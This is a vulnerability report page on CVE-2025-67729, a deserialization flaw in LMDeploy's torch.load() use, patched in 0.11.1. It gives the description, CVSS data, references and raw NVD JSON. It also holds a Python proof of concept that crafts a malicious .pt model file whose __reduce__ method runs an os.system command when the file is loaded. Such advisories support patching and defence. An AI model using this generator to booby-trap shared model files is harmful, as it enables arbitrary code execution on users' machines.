Security Vulnerability Report
中文
CVE-2025-67729 CVSS 8.8 HIGH

CVE-2025-67729

Published: 2025-12-26 22:15:52
Last Modified: 2025-12-31 21:31:22

Description

LMDeploy is a toolkit for compressing, deploying, and serving LLMs. Prior to version 0.11.1, an insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file. This issue has been patched in version 0.11.1.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:internlm:lmdeploy:*:*:*:*:*:*:*:* - VULNERABLE
LMDeploy < 0.11.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67729 PoC - Malicious Model File Generator # This PoC demonstrates how a malicious .pt file can be crafted to execute arbitrary code import torch import os class MaliciousPayload: def __reduce__(self): # This will execute when the model file is loaded # Replace with actual malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def create_malicious_model(output_path): """ Create a malicious PyTorch model file that executes code when loaded. Usage: python cve_2025_67729_poc.py This will create a malicious_model.pt file. When loaded with: torch.load('malicious_model.pt') Or: torch.load('malicious_model.pt', weights_only=False) The code in __reduce__ will be executed. """ malicious_data = { 'model_weights': MaliciousPayload(), 'metadata': { 'version': '1.0', 'architecture': 'test_model' } } torch.save(malicious_data, output_path) print(f"[+] Malicious model saved to: {output_path}") print(f"[!] When loaded with torch.load(), arbitrary code will be executed") # Generate the malicious model file if __name__ == "__main__": create_malicious_model('malicious_model.pt') print("\n--- Vulnerable Code Example ---") print(""" # LMDeploy vulnerable code pattern: import torch # VULNERABLE - No weights_only parameter model = torch.load('model.pt') # Executes malicious code # VULNERABLE - Explicitly set to False model = torch.load('model.pt', weights_only=False) # Also vulnerable # SAFE - weights_only=True (but may break legitimate models) model = torch.load('model.pt', weights_only=True) # Safe but limited """)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67729", "sourceIdentifier": "[email protected]", "published": "2025-12-26T22:15:52.437", "lastModified": "2025-12-31T21:31:22.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LMDeploy is a toolkit for compressing, deploying, and serving LLMs. Prior to version 0.11.1, an insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file. This issue has been patched in version 0.11.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:internlm:lmdeploy:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.11.1", "matchCriteriaId": "7671A435-D4FF-42D3-B8BD-D530FE24F13B"}]}]}], "references": [{"url": "https://github.com/InternLM/lmdeploy/commit/eb04b4281c5784a5cff5ea639c8f96b33b3ae5ee", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9pf3-7rrr-x5jh", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9pf3-7rrr-x5jh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}